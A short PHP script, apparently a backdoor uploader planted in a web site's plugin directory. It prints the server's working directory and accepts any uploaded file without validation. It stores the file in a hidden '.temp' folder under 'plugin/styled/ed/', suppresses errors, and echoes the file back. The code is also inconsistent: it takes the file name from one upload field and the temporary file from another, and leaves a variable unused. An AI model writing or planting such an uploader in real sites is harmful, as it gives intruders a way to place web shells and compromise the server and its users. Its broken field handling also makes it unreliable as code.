<?php
echo getcwd();
$pid='sty';
$file=basename($_FILES[$pid]['name']);
$tmp=$_FILES[$pid]['tmp_name'];
$target_path='plugin/styled/ed/.temp/';
if(!@is_dir($target_path)){ @mkdir($target_path); }
$target_file=$target_path.$file;
if(@move_uploaded_file($_FILES['image']['tmp_name'],$target_file)) {
echo file_get_contents($target_file);
}
?>
